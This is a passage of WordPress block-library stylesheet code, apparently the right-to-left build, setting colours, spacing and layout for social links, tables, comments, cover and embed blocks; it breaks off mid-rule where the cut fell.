.wp-social-link-medium{background-color:#02ab6c;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-meetup{background-color:#f6405f;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-patreon{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pinterest{background-color:#e60122;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pocket{background-color:#ef4155;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-reddit{background-color:#ff4500;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-skype{background-color:#0478d7;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-snapchat{background-color:#fefc00;color:#fff;stroke:#000}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-soundcloud{background-color:#ff5600;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-spotify{background-color:#1bd760;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-telegram{background-color:#2aabee;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-threads,.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tiktok{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tumblr{background-color:#011835;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitch{background-color:#6440a4;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitter{background-color:#1da1f2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vimeo{background-color:#1eb7ea;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vk{background-color:#4680c2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-wordpress{background-color:#3499cd;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-whatsapp{background-color:#25d366;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-x{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-yelp{background-color:#d32422;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-youtube{background-color:red;color:#fff}.wp-block-social-links.is-style-logos-only .wp-social-link{background:none}.wp-block-social-links.is-style-logos-only .wp-social-link a{padding:0}.wp-block-social-links.is-style-logos-only .wp-social-link svg{height:1.25em;width:1.25em}.wp-block-social-links.is-style-logos-only .wp-social-link-amazon{color:#f90}.wp-block-social-links.is-style-logos-only .wp-social-link-bandcamp{color:#1ea0c3}.wp-block-social-links.is-style-logos-only .wp-social-link-behance{color:#0757fe}.wp-block-social-links.is-style-logos-only .wp-social-link-codepen{color:#1e1f26}.wp-block-social-links.is-style-logos-only .wp-social-link-deviantart{color:#02e49b}.wp-block-social-links.is-style-logos-only .wp-social-link-dribbble{color:#e94c89}.wp-block-social-links.is-style-logos-only .wp-social-link-dropbox{color:#4280ff}.wp-block-social-links.is-style-logos-only .wp-social-link-etsy{color:#f45800}.wp-block-social-links.is-style-logos-only .wp-social-link-facebook{color:#1778f2}.wp-block-social-links.is-style-logos-only .wp-social-link-fivehundredpx{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-flickr{color:#0461dd}.wp-block-social-links.is-style-logos-only .wp-social-link-foursquare{color:#e65678}.wp-block-social-links.is-style-logos-only .wp-social-link-github{color:#24292d}.wp-block-social-links.is-style-logos-only .wp-social-link-goodreads{color:#382110}.wp-block-social-links.is-style-logos-only .wp-social-link-google{color:#ea4434}.wp-block-social-links.is-style-logos-only .wp-social-link-gravatar{color:#1d4fc4}.wp-block-social-links.is-style-logos-only .wp-social-link-instagram{color:#f00075}.wp-block-social-links.is-style-logos-only .wp-social-link-lastfm{color:#e21b24}.wp-block-social-links.is-style-logos-only .wp-social-link-linkedin{color:#0d66c2}.wp-block-social-links.is-style-logos-only .wp-social-link-mastodon{color:#3288d4}.wp-block-social-links.is-style-logos-only .wp-social-link-medium{color:#02ab6c}.wp-block-social-links.is-style-logos-only .wp-social-link-meetup{color:#f6405f}.wp-block-social-links.is-style-logos-only .wp-social-link-patreon{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-pinterest{color:#e60122}.wp-block-social-links.is-style-logos-only .wp-social-link-pocket{color:#ef4155}.wp-block-social-links.is-style-logos-only .wp-social-link-reddit{color:#ff4500}.wp-block-social-links.is-style-logos-only .wp-social-link-skype{color:#0478d7}.wp-block-social-links.is-style-logos-only .wp-social-link-snapchat{color:#fff;stroke:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-soundcloud{color:#ff5600}.wp-block-social-links.is-style-logos-only .wp-social-link-spotify{color:#1bd760}.wp-block-social-links.is-style-logos-only .wp-social-link-telegram{color:#2aabee}.wp-block-social-links.is-style-logos-only .wp-social-link-threads,.wp-block-social-links.is-style-logos-only .wp-social-link-tiktok{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-tumblr{color:#011835}.wp-block-social-links.is-style-logos-only .wp-social-link-twitch{color:#6440a4}.wp-block-social-links.is-style-logos-only .wp-social-link-twitter{color:#1da1f2}.wp-block-social-links.is-style-logos-only .wp-social-link-vimeo{color:#1eb7ea}.wp-block-social-links.is-style-logos-only .wp-social-link-vk{color:#4680c2}.wp-block-social-links.is-style-logos-only .wp-social-link-whatsapp{color:#25d366}.wp-block-social-links.is-style-logos-only .wp-social-link-wordpress{color:#3499cd}.wp-block-social-links.is-style-logos-only .wp-social-link-x{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-yelp{color:#d32422}.wp-block-social-links.is-style-logos-only .wp-social-link-youtube{color:red}.wp-block-social-links.is-style-pill-shape .wp-social-link{width:auto}.wp-block-social-links.is-style-pill-shape .wp-social-link a{padding-left:.66667em;padding-right:.66667em}.wp-block-social-links:not(.has-icon-color):not(.has-icon-background-color) .wp-social-link-snapchat .wp-block-social-link-label{color:#000}.wp-block-spacer{clear:both}.wp-block-tag-cloud{box-sizing:border-box}.wp-block-tag-cloud.aligncenter{justify-content:center;text-align:center}.wp-block-tag-cloud.alignfull{padding-left:1em;padding-right:1em}.wp-block-tag-cloud a{display:inline-block;margin-right:5px}.wp-block-tag-cloud span{display:inline-block;margin-left:5px;text-decoration:none}.wp-block-tag-cloud.is-style-outline{display:flex;flex-wrap:wrap;gap:1ch}.wp-block-tag-cloud.is-style-outline a{border:1px solid;font-size:unset!important;margin-right:0;padding:1ch 2ch;text-decoration:none!important}.wp-block-table{overflow-x:auto}.wp-block-table table{border-collapse:collapse;width:100%}.wp-block-table thead{border-bottom:3px solid}.wp-block-table tfoot{border-top:3px solid}.wp-block-table td,.wp-block-table th{border:1px solid;padding:.5em}.wp-block-table .has-fixed-layout{table-layout:fixed;width:100%}.wp-block-table .has-fixed-layout td,.wp-block-table .has-fixed-layout th{word-break:break-word}.wp-block-table.aligncenter,.wp-block-table.alignleft,.wp-block-table.alignright{display:table;width:auto}.wp-block-table.aligncenter td,.wp-block-table.aligncenter th,.wp-block-table.alignleft td,.wp-block-table.alignleft th,.wp-block-table.alignright td,.wp-block-table.alignright th{word-break:break-word}.wp-block-table .has-subtle-light-gray-background-color{background-color:#f3f4f5}.wp-block-table .has-subtle-pale-green-background-color{background-color:#e9fbe5}.wp-block-table .has-subtle-pale-blue-background-color{background-color:#e7f5fe}.wp-block-table .has-subtle-pale-pink-background-color{background-color:#fcf0ef}.wp-block-table.is-style-stripes{background-color:initial;border-bottom:1px solid #f0f0f0;border-collapse:inherit;border-spacing:0}.wp-block-table.is-style-stripes tbody tr:nth-child(odd){background-color:#f0f0f0}.wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd){background-color:#f3f4f5}.wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd){background-color:#e9fbe5}.wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd){background-color:#e7f5fe}.wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd){background-color:#fcf0ef}.wp-block-table.is-style-stripes td,.wp-block-table.is-style-stripes th{border-color:#0000}.wp-block-table .has-border-color td,.wp-block-table .has-border-color th,.wp-block-table .has-border-color tr,.wp-block-table .has-border-color>*{border-color:inherit}.wp-block-table table[style*=border-top-color] tr:first-child,.wp-block-table table[style*=border-top-color] tr:first-child td,.wp-block-table table[style*=border-top-color] tr:first-child th,.wp-block-table table[style*=border-top-color]>*,.wp-block-table table[style*=border-top-color]>* td,.wp-block-table table[style*=border-top-color]>* th{border-top-color:inherit}.wp-block-table table[style*=border-top-color] tr:not(:first-child){border-top-color:initial}.wp-block-table table[style*=border-right-color] td:last-child,.wp-block-table table[style*=border-right-color] th,.wp-block-table table[style*=border-right-color] tr,.wp-block-table table[style*=border-right-color]>*{border-right-color:inherit}.wp-block-table table[style*=border-bottom-color] tr:last-child,.wp-block-table table[style*=border-bottom-color] tr:last-child td,.wp-block-table table[style*=border-bottom-color] tr:last-child th,.wp-block-table table[style*=border-bottom-color]>*,.wp-block-table table[style*=border-bottom-color]>* td,.wp-block-table table[style*=border-bottom-color]>* th{border-bottom-color:inherit}.wp-block-table table[style*=border-bottom-color] tr:not(:last-child){border-bottom-color:initial}.wp-block-table table[style*=border-left-color] td:first-child,.wp-block-table table[style*=border-left-color] th,.wp-block-table table[style*=border-left-color] tr,.wp-block-table table[style*=border-left-color]>*{border-left-color:inherit}.wp-block-table table[style*=border-style] td,.wp-block-table table[style*=border-style] th,.wp-block-table table[style*=border-style] tr,.wp-block-table table[style*=border-style]>*{border-style:inherit}.wp-block-table table[style*=border-width] td,.wp-block-table table[style*=border-width] th,.wp-block-table table[style*=border-width] tr,.wp-block-table table[style*=border-width]>*{border-style:inherit;border-width:inherit}:where(.wp-block-term-description){margin-bottom:var(--wp--style--block-gap);margin-top:var(--wp--style--block-gap)}.wp-block-term-description p{margin-bottom:0;margin-top:0}.wp-block-text-columns,.wp-block-text-columns.aligncenter{display:flex}.wp-block-text-columns .wp-block-column{margin:0 1em;padding:0}.wp-block-text-columns .wp-block-column:first-child{margin-left:0}.wp-block-text-columns .wp-block-column:last-child{margin-right:0}.wp-block-text-columns.columns-2 .wp-block-column{width:50%}.wp-block-text-columns.columns-3 .wp-block-column{width:33.33333%}.wp-block-text-columns.columns-4 .wp-block-column{width:25%}pre.wp-block-verse{overflow:auto;white-space:pre-wrap}:where(pre.wp-block-verse){font-family:inherit}.wp-block-video{box-sizing:border-box}.wp-block-video video{vertical-align:middle;width:100%}@supports (position:sticky){.wp-block-video [poster]{object-fit:cover}}.wp-block-video.aligncenter{text-align:center}.wp-block-video figcaption{margin-bottom:1em;margin-top:.5em}.editor-styles-wrapper,.entry-content{counter-reset:footnotes}a[data-fn].fn{counter-increment:footnotes;display:inline-flex;font-size:smaller;text-decoration:none;text-indent:-9999999px;vertical-align:super}a[data-fn].fn:after{content:"[" counter(footnotes) "]";float:left;text-indent:0}.wp-element-button{cursor:pointer}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}.has-text-align-center{text-align:center}.has-text-align-left{text-align:left}.has-text-align-right{text-align:right}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.screen-reader-text:focus{background-color:#ddd;clip:auto!important;-webkit-clip-path:none;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}:where(.editor-styles-wrapper){
  background:#fff;
  color:initial;
  font-family:serif;
  font-size:medium;
  line-height:normal;
}
:where(.editor-styles-wrapper) .wp-align-wrapper{
  max-width:840px;
}
:where(.editor-styles-wrapper) .wp-align-wrapper.wp-align-full,:where(.editor-styles-wrapper) .wp-align-wrapper>.wp-block{
  max-width:none;
}
:where(.editor-styles-wrapper) .wp-align-wrapper.wp-align-wide{
  max-width:840px;
}
:where(.editor-styles-wrapper) a{
  transition:none;
}
:where(.editor-styles-wrapper) code,:where(.editor-styles-wrapper) kbd{
  background:inherit;
  font-family:monospace;
  font-size:inherit;
  margin:0;
  padding:0;
}
:where(.editor-styles-wrapper) p{
  font-size:revert;
  line-height:revert;
  margin:revert;
}
:where(.editor-styles-wrapper) ol,:where(.editor-styles-wrapper) ul{
  box-sizing:border-box;
  list-style-type:revert;
  margin:revert;
  padding:revert;
}
:where(.editor-styles-wrapper) ol ol,:where(.editor-styles-wrapper) ol ul,:where(.editor-styles-wrapper) ul ol,:where(.editor-styles-wrapper) ul ul{
  margin:revert;
}
:where(.editor-styles-wrapper) ol li,:where(.editor-styles-wrapper) ul li{
  margin:revert;
}
:where(.editor-styles-wrapper) ol ul,:where(.editor-styles-wrapper) ul ul{
  list-style-type:revert;
}
:where(.editor-styles-wrapper) h1,:where(.editor-styles-wrapper) h2,:where(.editor-styles-wrapper) h3,:where(.editor-styles-wrapper) h4,:where(.editor-styles-wrapper) h5,:where(.editor-styles-wrapper) h6{
  color:revert;
  font-size:revert;
  font-weight:revert;
  line-height:revert;
  margin:revert;
}
:where(.editor-styles-wrapper) select{
  -webkit-appearance:revert;
  background:revert;
  border:revert;
  border-radius:revert;
  box-shadow:revert;
  color:revert;
  cursor:revert;
  font-family:system-ui;
  font-size:revert;
  font-weight:revert;
  line-height:revert;
  margin:revert;
  max-width:revert;
  min-height:revert;
  outline:revert;
  padding:revert;
  text-shadow:revert;
  transform:revert;
  vertical-align:revert;
}
:where(.editor-styles-wrapper) select:disabled,:where(.editor-styles-wrapper) select:focus{
  background-color:revert;
  background-image:revert;
  border-color:revert;
  box-shadow:revert;
  color:revert;
  cursor:revert;
  text-shadow:revert;
  transform:revert;
}:where(.editor-styles-wrapper){background:#fff;color:initial;font-family:serif;font-size:medium;line-height:normal}:where(.editor-styles-wrapper) .wp-align-wrapper{max-width:840px}:where(.editor-styles-wrapper) .wp-align-wrapper.wp-align-full,:where(.editor-styles-wrapper) .wp-align-wrapper>.wp-block{max-width:none}:where(.editor-styles-wrapper) .wp-align-wrapper.wp-align-wide{max-width:840px}:where(.editor-styles-wrapper) a{transition:none}:where(.editor-styles-wrapper) code,:where(.editor-styles-wrapper) kbd{background:inherit;font-family:monospace;font-size:inherit;margin:0;padding:0}:where(.editor-styles-wrapper) p{font-size:revert;line-height:revert;margin:revert}:where(.editor-styles-wrapper) ol,:where(.editor-styles-wrapper) ul{box-sizing:border-box;list-style-type:revert;margin:revert;padding:revert}:where(.editor-styles-wrapper) ol ol,:where(.editor-styles-wrapper) ol ul,:where(.editor-styles-wrapper) ul ol,:where(.editor-styles-wrapper) ul ul{margin:revert}:where(.editor-styles-wrapper) ol li,:where(.editor-styles-wrapper) ul li{margin:revert}:where(.editor-styles-wrapper) ol ul,:where(.editor-styles-wrapper) ul ul{list-style-type:revert}:where(.editor-styles-wrapper) h1,:where(.editor-styles-wrapper) h2,:where(.editor-styles-wrapper) h3,:where(.editor-styles-wrapper) h4,:where(.editor-styles-wrapper) h5,:where(.editor-styles-wrapper) h6{color:revert;font-size:revert;font-weight:revert;line-height:revert;margin:revert}:where(.editor-styles-wrapper) select{-webkit-appearance:revert;background:revert;border:revert;border-radius:revert;box-shadow:revert;color:revert;cursor:revert;font-family:system-ui;font-size:revert;font-weight:revert;line-height:revert;margin:revert;max-width:revert;min-height:revert;outline:revert;padding:revert;text-shadow:revert;transform:revert;vertical-align:revert}:where(.editor-styles-wrapper) select:disabled,:where(.editor-styles-wrapper) select:focus{background-color:revert;background-image:revert;border-color:revert;box-shadow:revert;color:revert;cursor:revert;text-shadow:revert;transform:revert}ul.wp-block-archives{padding-right:2.5em}.wp-block-audio{margin-left:0;margin-right:0;position:relative}.wp-block-audio.is-transient audio{opacity:.3}.wp-block-audio .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}.wp-block-avatar__image img{width:100%}.wp-block-avatar.aligncenter .components-resizable-box__container{margin:0 auto}.edit-post-visual-editor .block-library-block__reusable-block-container .is-root-container{padding-left:0;padding-right:0}.edit-post-visual-editor .block-library-block__reusable-block-container .block-editor-writing-flow{display:block}.edit-post-visual-editor .block-library-block__reusable-block-container .components-disabled .block-list-appender{display:none}.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted,.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.is-dark-theme .edit-post-visual-editor .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff}.wp-block[data-align=center]>.wp-block-button{margin-left:auto;margin-right:auto;text-align:center}.wp-block[data-align=right]>.wp-block-button{text-align:right}.wp-block-button{cursor:text;position:relative}.wp-block-button:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px var(--wp-admin-theme-color);outline:2px solid #0000;outline-offset:-2px}.wp-block-button[data-rich-text-placeholder]:after{opacity:.8}div[data-type="core/button"]{display:table}.editor-styles-wrapper .wp-block-button[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where(.has-border-color){border-width:initial}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-top-color]){border-top-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-right-color]){border-left-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-bottom-color]){border-bottom-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-left-color]){border-right-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-style]){border-width:initial}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-top-style]){border-top-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-right-style]){border-left-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-bottom-style]){border-bottom-width:medium}.editor-styles-wrapper .wp-block-button .wp-block-button__link:where([style*=border-left-style]){border-right-width:medium}.wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{margin:0}.wp-block-buttons>.block-list-appender{align-items:center;display:inline-flex}.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{justify-content:flex-start}.wp-block-buttons>.wp-block-button:focus{box-shadow:none}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{margin-left:auto;margin-right:auto;margin-top:0;width:100%}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{margin-bottom:0}.editor-styles-wrapper .wp-block-buttons.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block[data-align=center]>.wp-block-buttons{align-items:center;justify-content:center}.wp-block[data-align=right]>.wp-block-buttons{justify-content:flex-end}.wp-block-categories ul{padding-right:2.5em}.wp-block-categories ul ul{margin-top:6px}[data-align=center] .wp-block-categories{text-align:center}.wp-block-code code{background:none}.wp-block-columns :where(.wp-block){margin-left:0;margin-right:0;max-width:none}html :where(.wp-block-column){margin-bottom:0;margin-top:0}.wp-block-comments__legacy-placeholder,.wp-block-post-comments{box-sizing:border-box}.wp-block-comments__legacy-placeholder .alignleft,.wp-block-post-comments .alignleft{float:right}.wp-block-comments__legacy-placeholder .alignright,.wp-block-post-comments .alignright{float:left}.wp-block-comments__legacy-placeholder .navigation:after,.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-comments__legacy-placeholder .commentlist,.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-comments__legacy-placeholder .commentlist .comment,.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-right:3.25em}.wp-block-comments__legacy-placeholder .commentlist .comment p,.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-comments__legacy-placeholder .commentlist .children,.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-comments__legacy-placeholder .comment-author,.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-comments__legacy-placeholder .comment-author .avatar,.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:right;height:2.5em;margin-left:.75em;margin-top:.5em;width:2.5em}.wp-block-comments__legacy-placeholder .comment-author cite,.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-comments__legacy-placeholder .comment-meta,.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-comments__legacy-placeholder .comment-meta b,.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-comments__legacy-placeholder .comment-meta .comment-awaiting-moderation,.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-comments__legacy-placeholder .comment-body .commentmetadata,.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-comments__legacy-placeholder .comment-form-author label,.wp-block-comments__legacy-placeholder .comment-form-comment label,.wp-block-comments__legacy-placeholder .comment-form-email label,.wp-block-comments__legacy-placeholder .comment-form-url label,.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-comments__legacy-placeholder .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder .comment-form textarea,.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-comments__legacy-placeholder .comment-form-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-comments__legacy-placeholder .comment-form-cookies-consent #wp-comment-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-comments__legacy-placeholder .comment-reply-title,.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-comments__legacy-placeholder .comment-reply-title :where(small),.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-right:.5em}.wp-block-comments__legacy-placeholder .reply,.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-comments__legacy-placeholder input:not([type=submit]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-comments__legacy-placeholder input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit]){border:none}.block-library-comments-toolbar__popover .components-popover__content{min-width:230px}.wp-block-comments__legacy-placeholder *{pointer-events:none}.wp-block-comment-author-avatar__placeholder{border:1px dashed;height:100%;width:100%;stroke:currentColor;stroke-dasharray:3}.wp-block[data-align=center]>.wp-block-comments-pagination{justify-content:center}.editor-styles-wrapper .wp-block-comments-pagination{max-width:100%}.editor-styles-wrapper .wp-block-comments-pagination.block-editor-block-list__layout{margin:0}.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{margin-bottom:.5em;margin-right:.5em;margin-top:.5em}.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{margin-right:0}.wp-block-comments-pagination-numbers a{text-decoration:underline}.wp-block-comments-pagination-numbers .page-numbers{margin-left:2px}.wp-block-comments-pagination-numbers .page-numbers:last-child{margin-right:0}.wp-block-comments-title.has-background{padding:inherit}.editor-styles-wrapper .wp-block-cover{box-sizing:border-box}.wp-block-cover.is-placeholder{align-items:stretch;display:flex;min-height:240px;padding:0!important}.wp-block-cover.is-placeholder .components-placeholder.is-large{justify-content:flex-start;z-index:1}.wp-block-cover.is-placeholder:focus:after{min-height:auto}.wp-block-cover.components-placeholder h2{color:inherit}.wp-block-cover.is-transient:before{background-color:#fff;opacity:.3}.wp-block-cover .components-spinner{margin:0;position:absolute;right:50%;top:50%;transform:translate(50%,-50%);z-index:1}.wp-block-cover .wp-block-cover__inner-container{margin-left:0;margin-right:0;text-align:right}.wp-block-cover .wp-block-cover__placeholder-background-options{width:100%}.wp-block-cover .wp-block-cover__image--placeholder-image{bottom:0;left:0;position:absolute;right:0;top:0}[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{max-width:420px;width:100%}.block-library-cover__reset-button{margin-right:auto}.block-library-cover__resize-container{bottom:0;left:0;min-height:50px;position:absolute!important;right:0;top:0}.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container,.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content>div{overflow:visible;pointer-events:none}.wp-block-cover>.components-drop-zone .components-drop-zone__content{opacity:.8!important}.block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{background-attachment:scroll}.color-block-support-panel__inner-wrapper>:not(.block-editor-tools-panel-color-gradient-settings__item){margin-top:24px}.wp-block-cover:after{min-height:auto}.wp-block-details summary div{display:inline}.wp-block-embed{clear:both;margin-left:0;margin-right:0}.wp-block-embed.is-loading{display:flex;justify-content:center}.wp-block-embed .components-placeholder__error{word-break:break-word}.wp-block-embed__learn-more{margin-top:1em}.wp-block-post-content .wp-block-embed__learn-more a{color:var(--wp-admin-theme-color)}.block-library-embed__interactive-overlay{bottom:0;left:0;opacity:0;position:absolute;right:0;top:0}.wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{max-width:360px;width:100%}.wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{min-width:280px}.wp-block-file{align-items:center;display:flex;flex-wrap:wrap;justify-content:space-between;margin-bottom:0}.wp-block[data-align=left]>.wp-block-file,.wp-block[data-align=right]>.wp-block-file{height:auto}.wp-block-file .components-resizable-box__container{margin-bottom:1em}.wp-block-file .wp-block-file__preview{height:100%;margin-bottom:1em;width:100%}.wp-block-file .wp-block-file__preview-overlay{bottom:0;left:0;position:absolute;right:0;top:0}.wp-block-file .wp-block-file__content-wrapper{flex-grow:1}.wp-block-file a{min-width:1em}.wp-block-file a:not(.wp-block-file__button){display:inline-block}.wp-block-file .wp-block-file__button-richtext-wrapper{display:inline-block;margin-right:.75em}.wp-block-form-input .is-input-hidden{background:repeating-linear-gradient(-45deg,#0000,#0000 5px,currentColor 0,currentColor 6px);border:1px dashed;box-sizing:border-box;font-size:.85em;opacity:.3;padding:.5em}.wp-block-form-input .is-input-hidden input[type=text]{background:#0000}.wp-block-form-input.is-selected .is-input-hidden{background:none;opacity:1}.wp-block-form-input.is-selected .is-input-hidden input[type=text]{background:unset}.wp-block-form-submission-notification>*{background:repeating-linear-gradient(-45deg,#0000,#0000 5px,currentColor 0,currentColor 6px);border:1px 